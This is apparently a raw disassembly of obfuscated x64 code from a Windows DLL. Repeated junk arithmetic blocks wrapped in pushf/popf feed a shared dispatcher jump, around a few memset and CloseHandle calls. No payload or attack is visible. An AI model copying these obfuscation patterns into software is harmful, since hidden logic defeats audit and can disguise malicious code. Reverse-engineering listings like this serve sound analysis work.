mov eax, 0x108865b1
pushf
not eax
add eax, 0xa190eadb
xor eax, 0xb4c52d8b
rol eax, 0xc8
popf
pushf
not eax
add eax, 0xcdde16be
xor eax, 0xa303dd60
rol eax, 0x7a
popf
pushf
not eax
add eax, 0xf4a84c12
xor eax, 0xe61b716a
rol eax, 7
popf
jmp 0x18003d12e
test edx, edx
je 0x180041ded
push rax
pushf
mov eax, 0xc265e8bd
pushf
not eax
add eax, 0xbe16dcdd
xor eax, 0x96576cc9
rol eax, 0x62
popf
pushf
not eax
add eax, 0xe793e3c3
xor eax, 0xd9f58069
rol eax, 0x47
popf
jmp 0x18003d12e
push rax
pushf
mov eax, 0x560b90c8
pushf
not eax
add eax, 0x9a2efbf9
xor eax, 0xb252e854
rol eax, 0x82
popf
pushf
not eax
add eax, 0xb483159d
xor eax, 0x8e669546
rol eax, 0xa7
popf
pushf
not eax
add eax, 0x8f709685
xor eax, 0xf4e15796
rol eax, 0xf2
popf
pushf
not eax
add eax, 0x850b9f7e
xor eax, 0xa0d84a7b
rol eax, 0x29
popf
jmp 0x18003d12e
mov eax, edi
sub eax, ecx
cmp eax, 4
jae 0x180041e95
push rax
pushf
mov eax, 0xc904db60
pushf
not eax
add eax, 0xa8cee3fe
xor eax, 0xb0da3f44
rol eax, 0xf9
popf
pushf
not eax
add eax, 0x8ea385db
xor eax, 0xc459814a
rol eax, 0x50
popf
pushf
not eax
add eax, 0xa1d99eb2
xor eax, 0xbda77f15
rol eax, 0x92
popf
jmp 0x18003d12e
push rax
pushf
mov eax, 0x3980bfcb
pushf
not eax
add eax, 0xd9c62080
xor eax, 0x8cb92750
rol eax, 0xc5
popf
pushf
not eax
add eax, 0x9881222a
xor eax, 0xfa115f14
rol eax, 0x33
popf
pushf
not eax
add eax, 0xf7f965f6
xor eax, 0xddf25236
rol eax, 0x49
popf
pushf
not eax
add eax, 0xcdbb9617
xor eax, 0xb7825de3
rol eax, 0xbe
popf
jmp 0x18003d12e
mov dword [rbp + 0xac], 1
jmp 0x180041f97
mov dword [rbp + rcx + 0xb4], ebx
add dword [rbp + 0x8b4], 4
push rax
pushf
mov eax, 0xf4b15065
pushf
not eax
add eax, 0xa010c4fb
xor eax, 0xcdb4d1f2
rol eax, 0xd7
popf
pushf
not eax
add eax, 0x92955a1e
xor eax, 0xde9fe44b
rol eax, 0x70
popf
jmp 0x18003d12e
mov edx, 0x31076e08
pushf
not edx
add edx, 0x8d637fcd
xor edx, 0x9e044b75
rol edx, 0xdc
popf
pushf
not edx
add edx, 0xfd9e24bc
xor edx, 0xaf1e6075
rol edx, 0xb
popf
pushf
not edx
add edx, 0xf942653f
xor edx, 0xbd473acb
rol edx, 0x66
popf
lea rcx, [rbp + 0xa0]
call fcn.18002e0cf
test eax, eax
jne 0x180042035
push rax
pushf
mov eax, 0x8ee12085
pushf
not eax
add eax, 0x9e02b752
xor eax, 0xe64c1b05
rol eax, 0xf7
popf
pushf
not eax
add eax, 0x94d42697
xor eax, 0xc33d12fc
rol eax, 0xf3
popf
pushf
not eax
add eax, 0xdf219a1a
xor eax, 0xf5b1d306
rol eax, 0xf3
popf
jmp 0x18003d12e
push rax
pushf
mov eax, 0x7f0aafb8
pushf
not eax
add eax, 0xed72b8fc
xor eax, 0xb5e3c110
rol eax, 0x80
popf
pushf
not eax
add eax, 0x96439c4f
xor eax, 0x84809b7e
rol eax, 0x72
popf
pushf
not eax
add eax, 0xefb4e5e7
xor eax, 0xaf62d320
rol eax, 0x88
popf
pushf
not eax
add eax, 0xc180b759
xor eax, 0x84428df5
rol eax, 0x43
popf
jmp 0x18003d12e
cmp dword [rbp + 0x10b8], 4
jne 0x1800420f4
push rax
pushf
mov eax, 0xe6b58190
pushf
not eax
add eax, 0xa10c0b8e
xor eax, 0xf94963d0
rol eax, 0xbe
popf
pushf
not eax
add eax, 0xfb5578b5
xor eax, 0xec380e9a
rol eax, 8
popf
pushf
not eax
add eax, 0xea550575
xor eax, 0xa69ec822
rol eax, 0x18
popf
pushf
not eax
add eax, 0xeebf2f05
xor eax, 0xe22db46a
rol eax, 0x17
popf
jmp 0x18003d12e
push rax
pushf
mov eax, 0x550e837e
pushf
not eax
add eax, 0xcdec1b0f
xor eax, 0xbdfabfb3
rol eax, 0x7e
popf
pushf
not eax
add eax, 0xd96afdb2
xor eax, 0xa0dbf85e
rol eax, 0xa
popf
pushf
not eax
add eax, 0xd5da6b6d
xor eax, 0xd0458448
rol eax, 0x99
popf
pushf
not eax
add eax, 0xece626f6
xor eax, 0xea704941
rol eax, 0x7c
popf
jmp 0x18003d12e
mov edx, dword [rbp + 0x8b8]
test edx, edx
je 0x1800421b0
push rax
pushf
mov eax, 0x3d855d0f
pushf
not eax
add eax, 0xbcc6cb6f
xor eax, 0xccbe56b4
rol eax, 0xe1
popf
pushf
not eax
add eax, 0xc972d105
xor eax, 0x92e0f760
rol eax, 0xa9
popf
pushf
not eax
add eax, 0x8ac1431d
xor eax, 0x8b5e4998
rol eax, 0x1d
popf
pushf
not eax
add eax, 0xfcb3dfe0
xor eax, 0xbe6e020a
rol eax, 0x88
popf
jmp 0x18003d12e
push rax
pushf
mov eax, 0xe0866a17
pushf
not eax
add eax, 0xb082f000
xor eax, 0x9e915d4a
rol eax, 0x5c
popf
pushf
not eax
add eax, 0xc31e75f7
xor eax, 0x9e079c74
rol eax, 0x7d
popf
jmp 0x18003d12e
cmp edx, 0x41d
je 0x180042231
push rax
pushf
mov eax, 0x620bbe84
pushf
not eax
add eax, 0x8da14d18
xor eax, 0xb95986df
rol eax, 0x8d
popf
pushf
not eax
add eax, 0xcb10e722
xor eax, 0xb9a8688b
rol eax, 0xfa
popf
pushf
not eax
add eax, 0xb7e286b1
xor eax, 0xa81be9bf
rol eax, 0xd4
popf
jmp 0x18003d12e
push rax
pushf
mov eax, 0xbb924987
pushf
not eax
add eax, 0xa504b97d
xor eax, 0xa3fbc002
rol eax, 0xea
popf
pushf
not eax
add eax, 0xeab8bbde
xor eax, 0x8bfc0fcb
rol eax, 0x72
popf
pushf
not eax
add eax, 0xf94b2651
xor eax, 0xbb645e97
rol eax, 0x23
popf
pushf
not eax
add eax, 0xccc2aa5f
xor eax, 0x8c5f850e
rol eax, 0x13
popf
jmp 0x18003d12e
lea rcx, [0x1ecd1b27f]
pushf
sub rcx, 0x6cd003a7
popf
jmp 0x18003ec1a
mov r8, rdi
lea rcx, [rbp + 0xb4]
xor edx, edx
call sub.VCRUNTIME140.dll_memset
mov r8, rdi
mov dword [rbp + 0x8b4], ebx
xor edx, edx
lea rcx, [rbp + 0x8b8]
call sub.VCRUNTIME140.dll_memset
mov eax, dword [rbp + 0x8b4]
sub edi, eax
mov dword [rbp + 0x10b8], ebx
mov dword [rbp + 0xac], ebx
mov dword [rbp + 0xb0], 1
cmp edi, 0x14
jae 0x180042378
push rax
pushf
mov eax, 0xd4aca6ad
pushf
not eax
add eax, 0xa996f612
xor eax, 0xfcbb8b97
rol eax, 0xe5
popf
pushf
not eax
add eax, 0xa2ea0c04
xor eax, 0x98b92d9e
rol eax, 0xf4
popf
jmp 0x18003d12e
push rax
pushf
mov eax, 0xb8e82d5a
pushf
not eax
add eax, 0xccf05ac7
xor eax, 0x95e2396e
rol eax, 0xa4
popf
pushf
not eax
add eax, 0xf361135d
xor eax, 0x92a2cd17
rol eax, 0x42
popf
pushf
not eax
add eax, 0x88d01dbe
xor eax, 0xf05ba572
rol eax, 0x61
popf
jmp 0x18003d12e
mov dword [rbp + 0xac], 1
jmp 0x180042473
movups xmm0, xmmword [rbp + 0x58]
movups xmmword [rbp + rax + 0xb4], xmm0
mov dword [rbp + rax + 0xc4], esi
add dword [rbp + 0x8b4], 0x14
push rax
pushf
mov eax, 0x86958a5
pushf
not eax
add eax, 0x99b104bc
xor eax, 0xb0403eb5
rol eax, 0x52
popf
pushf
not eax
add eax, 0xb108a9bf
xor eax, 0xe02e4f20
rol eax, 0x34
popf
pushf
not eax
add eax, 0xfa062c27
xor eax, 0xea1e878b
rol eax, 0x22
popf
pushf
not eax
add eax, 0xdc07d1c4
xor eax, 0xdc7acf91
rol eax, 5
popf
jmp 0x18003d12e
mov edx, 0x7839c5dc
pushf
not edx
add edx, 0x9e1e7f1d
xor edx, 0xf91d7fa2
rol edx, 0x75
popf
pushf
not edx
add edx, 0xca3d4a7e
xor edx, 0xede1eb45
rol edx, 0x93
popf
lea rcx, [rbp + 0xa0]
call fcn.18002e0cf
test eax, eax
jne 0x1800424e9
push rax
pushf
mov eax, 0x3838562f
pushf
not eax
add eax, 0xe532679e
xor eax, 0x82610f2a
rol eax, 0xaa
popf
pushf
not eax
add eax, 0xf01b4032
xor eax, 0x83e1af77
rol eax, 0xf1
popf
jmp 0x18003d12e
push rax
pushf
mov eax, 0xb3b11ce6
pushf
not eax
add eax, 0xae95aa50
xor eax, 0x918ecf7c
rol eax, 0x94
popf
pushf
not eax
add eax, 0x89bc3c77
xor eax, 0xc824a008
rol eax, 0x44
popf
pushf
not eax
add eax, 0xb8fe0590
xor eax, 0x80eba7e5
rol eax, 0xc7
popf
jmp 0x18003d12e
cmp dword [rbp + 0x10b8], 4
jne 0x180042582
push rax
pushf
mov eax, 0xea403e02
pushf
not eax
add eax, 0xb8805402
xor eax, 0xf900b60f
rol eax, 0xf4
popf
pushf
not eax
add eax, 0x966aa2fe
xor eax, 0xd889fee8
rol eax, 9
popf
pushf
not eax
add eax, 0xb13a1a0c
xor eax, 0xd398f2ec
rol eax, 0xb7
popf
jmp 0x18003d12e
push rax
pushf
mov eax, 0x39400d3f
pushf
not eax
add eax, 0xa1f6ab99
xor eax, 0xa66ddb32
rol eax, 0x33
popf
pushf
not eax
add eax, 0xc98dc6f8
xor eax, 0xc8f89313
rol eax, 0x4d
popf
pushf
not eax
add eax, 0x91945d68
xor eax, 0xad32928d
rol eax, 7
popf
jmp 0x18003d12e
mov edx, dword [rbp + 0x8b8]
test edx, edx
je 0x18004262b
push rax
pushf
mov eax, 0x9612c5d3
pushf
not eax
add eax, 0xd9f58383
xor eax, 0x82a0eef2
rol eax, 0xc5
popf
pushf
not eax
add eax, 0xace0e925
xor eax, 0xae7e98b5
rol eax, 0x72
popf
pushf
not eax
add eax, 0xb66470d0
xor eax, 0xb29343b2
rol eax, 0x86
popf
pushf
not eax
add eax, 0xcf18afe4
xor eax, 0xf7770838
rol eax, 0x49
popf
jmp 0x18003d12e
push rax
pushf
mov eax, 0xc39a1109
pushf
not eax
add eax, 0xc8dd2b28
xor eax, 0xd68cc4de
rol eax, 0x88
popf
pushf
not eax
add eax, 0x85a6aaf0
xor eax, 0xb283fe04
rol eax, 0x52
popf
pushf
not eax
add eax, 0x96d13c5c
xor eax, 0xb56a4bd9
rol eax, 0xdd
popf
pushf
not eax
add eax, 0xfdd621e8
xor eax, 0x9f503755
rol eax, 0x32
popf
jmp 0x18003d12e
lea rcx, [0x1c0319624]
pushf
sub rcx, 0x402fe734
popf
jmp 0x18003ec1a
mov rcx, qword [rbp + 0xa0]
jmp 0x1800426e9
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
add rsp, 0x25e8
pop r14
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret